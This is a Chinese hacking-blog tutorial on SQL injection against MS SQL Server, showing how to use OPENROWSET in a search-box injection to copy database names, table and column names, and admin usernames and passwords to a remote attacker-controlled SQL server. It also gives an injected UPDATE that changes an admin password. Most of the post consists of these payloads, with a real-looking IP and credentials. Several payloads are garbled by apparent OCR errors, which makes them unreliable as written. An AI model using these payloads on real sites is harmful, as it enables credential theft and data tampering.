危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2289 浏览18982386

关于OPENROWSET的使用

最近一朋友让我使用OPENROWSET分析一个网站的数据库结构,以前我没有怎么用过OPENROWSET,于是就好好的研究了一下。

一、SQL注入原理

我自己使用net编写了一个存在搜索漏洞的脚本,关于注入原理我简单的说明一下,注入的形成是由于程序员在编写代码的时候对获取的值过滤不严,直接带人数据库查询而造成的,这样我们就可以精心构造SQL语句来达到恶意攻击的目的。这也就是常说的注入攻击,如果大家还有什么不明白的地方,可以去查"搜索型注入原理详细解析"相关的资料,这里就不在啰嗦了。关于数据库的建库建表代码我就不贴出来了,Admin表保存着管理员的帐户和密码信息,sqltest表保存着用户信息。

二、OPENROWSET()的利用

我们使用OPENOWSET的目的,主要是把在注入点数据库中查询出来的信息写到远程的SQL服务器上以方便我们查看,适用于不显错的站点以及猜不出表名和列名的时候使用。

OPENOWSET()的格式为:"insert intoOPENROWSET('SQLOLEDB',  'server=sql服务器ip; uid=帐户;pwd=密码','select admin from fei')要执行的SQL语句"。关于如何判断是不是存在注入漏洞,我们可以使用"'or"="--",在搜索框中输入"'%r'"="--",返回了所有的数据,由此可以确定存在注入漏洞。

我们来分析一下这时候的SQL语句会是什么样子,这时候的SQL语句为"SELECT * from sqltest where names like%'or"="--%'",""=""为true,而"'%'"代表任何字符,这样就会查询出所有的数据了。接下来我们就进行测试,比如在得到一个注入点的时候,首先会猜测表名,然后再猜测列名,如果一个一个的去猜,存在着很大的运气成分,可能这时候我们还会选择使用union select来爆数据,不过今天我要介绍的是OPENOWSET(),所以就暂不讨论union select了,来看我是如何使用OPENOWSET()得到数据库名、表名、字段名以及字段值的。

首先我们要得到当前的数据库名,在搜索框中输入:"'or'"=";insert into OPENROWS ET('SQLOLED B','serveF61.xx.i35.xxx,1433;uid=x  x;pwd-xxxxr','select adminfrom fei')select db_name()--",点击搜索后,查询出了所有的数据,现在我们来到61.xx.135.xxx这个SQL服务器看一下,看有没有把数据库名插入到fei表中的admin字段中,成功的获取了数据库名。

接下来要得到Feitest这个库中的所有表名,在搜索框中输入"'or'"="";insert into OPENROWSE T('SQLOLEDB'‘serveF=61.55.135.37,1433;uid=db;pwd-123456!','select admin from fei')select Table name from information_schema.tables--",点击搜索后返回了所有的数据,表名信息被成功的写到远程服务器上了。

再接下来就是要得到Admin表中的所有字段名称,点击搜索后返回了所有的数据,字段名信息被成功的写到远程服务器上的fei表的admin字段里了。

为了方便大家观看字段的值,我把远程服务器上fei表中的数据清空,我们再来得到字段值,在搜索框中输入"‘or "=";insert into OPENROWSET('SQLOLEDB', 'serveF61.55.135,37,1433;uid:db;pwd=123456!','select admm from fei')select adminName from Feitest.dbo.admin--",点击搜索后返回了所有的数据,执行成功了,字段的值被成功的写到了远程服务器上的fei表的admin字段里。可能有读者要问,为什么不把adminPass字段里的值也一起得到呢?我们来执行一下就知道为什么不这么做了,把语句更改成"。发生了错误,为什么会报错呢?这是因为远程服务器的fei表中只有admin这一个字段,我们却要把adminN ame和adminPass两个字段的值与到fei表中,这样肯定要出错的,必须保证字段和服务器上的字段数一样才可以。

既然表名和字段名都知道了,那接下来我们就得到adminPass字段的值,在搜索框中输入",点击搜索后返回所有了数据,执行成功了,adminPass字段的值被成功的写到了远程服务器上,就这样拿到了所有帐号和密码。

当然我们也可叹使用update来更改帐号和密码,比如我要更改Get这个帐户的密码,可以看到0et的密码为789,我们来把密码改成fei,只需要在搜素框中输入"‘or"=";update Feitest.dho.admin set adminpass-‘feC whereadminName-‘Gte'一一",执行成功了,我们在本地查看一下密码,是不是发现密码已经更改为fei了。

在查不到表名和字段名的时候,使用OPENROWSET()足个不错的选择,如果可以的话,大家也可以来个跨库查询。如果本文有什么不对的地方还请读者朋友们指出来,大家要善于思考,可以试着来自己构造注入语句。

相关推荐